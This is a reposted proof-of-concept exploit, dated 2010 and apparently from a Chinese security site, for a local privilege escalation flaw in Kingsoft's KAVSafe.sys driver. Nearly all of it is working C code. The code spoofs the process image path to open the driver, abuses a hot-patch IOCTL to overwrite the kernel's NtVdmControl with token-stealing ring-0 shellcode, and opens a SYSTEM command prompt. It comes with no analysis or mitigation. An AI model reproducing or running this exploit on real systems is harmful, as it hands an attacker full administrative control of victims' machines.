Kingsoft 'KAVSafe.sys' Driver 本地权限提升漏洞

VULNERABLE PRODUCTS
#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED ,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
                          HANDLE ProcessHandle,
                          DWORD ProcessInformationClass,
                          PVOID ProcessInformation,
                          ULONG ProcessInformationLength,
                          PULONG ReturnLength
    );

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
    USHORT Flags;
    USHORT Length;
    ULONG TimeStamp;
    STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _CURDIR {
    UNICODE_STRING DosPath;
    HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
    ULONG MaximumLength;
    ULONG Length;
   
    ULONG Flags;
    ULONG DebugFlags;
   
    HANDLE ConsoleHandle;
    ULONG  ConsoleFlags;
    HANDLE StandardInput;
    HANDLE StandardOutput;
    HANDLE StandardError;
   
    CURDIR CurrentDirectory;        // ProcessParameters
    UNICODE_STRING DllPath;         // ProcessParameters
    UNICODE_STRING ImagePathName;   // ProcessParameters
    UNICODE_STRING CommandLine;     // ProcessParameters
    PVOID Environment;              // NtAllocateVirtualMemory
   
    ULONG StartingX;
    ULONG StartingY;
    ULONG CountX;
    ULONG CountY;
    ULONG CountCharsX;
    ULONG CountCharsY;
    ULONG FillAttribute;
   
    ULONG WindowFlags;
    ULONG ShowWindowFlags;
    UNICODE_STRING WindowTitle;     // ProcessParameters
    UNICODE_STRING DesktopInfo;     // ProcessParameters
    UNICODE_STRING ShellInfo;       // ProcessParameters
    UNICODE_STRING RuntimeData;     // ProcessParameters
    RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
    BOOLEAN InheritedAddressSpace;      // These four fields cannot change unless the
    BOOLEAN ReadImageFileExecOptions;   //
    BOOLEAN BeingDebugged;              //
    BOOLEAN SpareBool;                  //
    HANDLE Mutant;                      // INITIAL_PEB structure is also updated.
   
    PVOID ImageBaseAddress;
    PVOID Ldr;
    struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
} PEB, *PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
    LONG ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (
                           LONG SystemInformationClass,
                         PVOID SystemInformation,
                           ULONG SystemInformationLength,
                           PULONG ReturnLength
    );

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef LONG (WINAPI *PNT_VDM_CONTROL) (
               ULONG Service,
               PVOID ServiceData
    );
VOID __declspec(naked) R0ShellCodeXP()
{
    __asm
    {
        mov eax,0xffdff124
        mov eax,[eax]
        mov esi ,dword ptr[eax+0x220]
        mov eax,esi
searchxp:
        mov eax,dword ptr[eax+0x88]
        sub eax,0x88
        mov edx,dword ptr[eax+0x84]
        cmp edx,4
        jnz searchxp
        mov eax,dword ptr[eax+0xc8]
        mov dword ptr[esi + 0xc8] , eax
        ret 8
    }
}
VOID NopNop()
{
    printf("nop!\n");
}

#include "malloc.h"
int main(int argc, char* argv[])
{

    printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"
        "Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n"
        "2010-5-23\n"
        "By Lincoin \n\nPress Enter");
    HKEY hkey ;
    WCHAR InstallPath[MAX_PATH];
    DWORD datatype ;
    DWORD datasize = MAX_PATH * sizeof(WCHAR);
    ULONG oldlen ;
    PVOID pOldBufferData = NULL ;

    if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) == ERROR_SUCCESS)
    {
        if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath , &datasize) != ERROR_SUCCESS)
        {
            RegCloseKey(hkey);
            printf("KSWebShield not installed\n");
            getchar();
            return 0 ;
        }

        RegCloseKey(hkey);
    }
    else
    {
        printf("KSWebShield not installed\n");
        getchar();
        return 0 ;
    }
    wcscat(InstallPath , L" \\kavinst.exe");

    PROCESS_BASIC_INFORMATION pbi ;

    PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;
   
    pNtQueryInformationProcess = (PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryInformationProcess");
   
    pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

    PPEB peb ;

    peb = (PPEB)pbi.PebBaseAddress;
    oldlen = peb->ProcessParameters->ImagePathName.Length;
    peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);
    pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);
    RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer , peb->ProcessParameters->ImagePathName.Length);
    RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath ,peb->ProcessParameters->ImagePathName.Length );
    HANDLE hdev = CreateFile(" \\\\.\\KAVSafe" ,
        FILE_READ_ATTRIBUTES ,
        FILE_SHARE_READ ,
        0,
        OPEN_EXISTING ,
        0,
        0);

    if (hdev==INVALID_HANDLE_VALUE)
    {
        printf("cannot open device %u\n", GetLastError());
        getchar();
        return 0 ;
    }
    RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , pOldBufferData,peb->ProcessParameters->ImagePathName.Length);
    peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;
   

    PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation  ;
    pNtQuerySystemInformation = (PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtQuerySystemInformation");
    X_SYSTEM_MODULE_INFORMATION sysmod ;
    HMODULE KernelHandle ;

    pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);
   
    KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);
   
    if (KernelHandle == 0 )
    {
        printf("cannot load ntoskrnl!\n");
        getchar();
        return 0 ;
    }
    PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

    if (pNtVdmControl == 0 )
    {
        printf("cannot find NtVdmControl!\n");
        getchar();
        return 0 ;        
    }
    pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle  );

    printf("NtVdmControl = %08x" , pNtVdmControl );
   
    getchar();
    ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;
    ULONG pShellCode = (ULONG)R0ShellCodeXP;

    PVOID Data = malloc(0x48 + ShellCodeSize);

    CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);
   
   
   
    CHAR ModuleName[68]= "ntoskrnl.exe" ;
    RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));
    *(ULONG*)((ULONG)Data + 64) = (ULONG)pNtVdmControl;
    *(ULONG*)((ULONG)Data + 68) = ShellCodeSize ;
   
    ULONG btr ;
    if (!DeviceIoControl(hdev ,
        IOCTL_HOTPATCH_KERNEL_MODULE ,
        Data ,
        0x48 + ShellCodeSize ,
        NULL ,
        0,
        &btr , 0
        ))
    {
        printf("cannot device io control!%u\n" , GetLastError());
        getchar();
        return 0;
    }

    CloseHandle(hdev);

    PNT_VDM_CONTROL pR3NtVdmControl = (PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");
    pR3NtVdmControl(0,0);
   
    WinExec("cmd.exe" , SW_SHOW);
    printf("OK!\n ");

    getchar();

    return 0;
}
原文网址： http://www.upx8.com/article.asp?id=647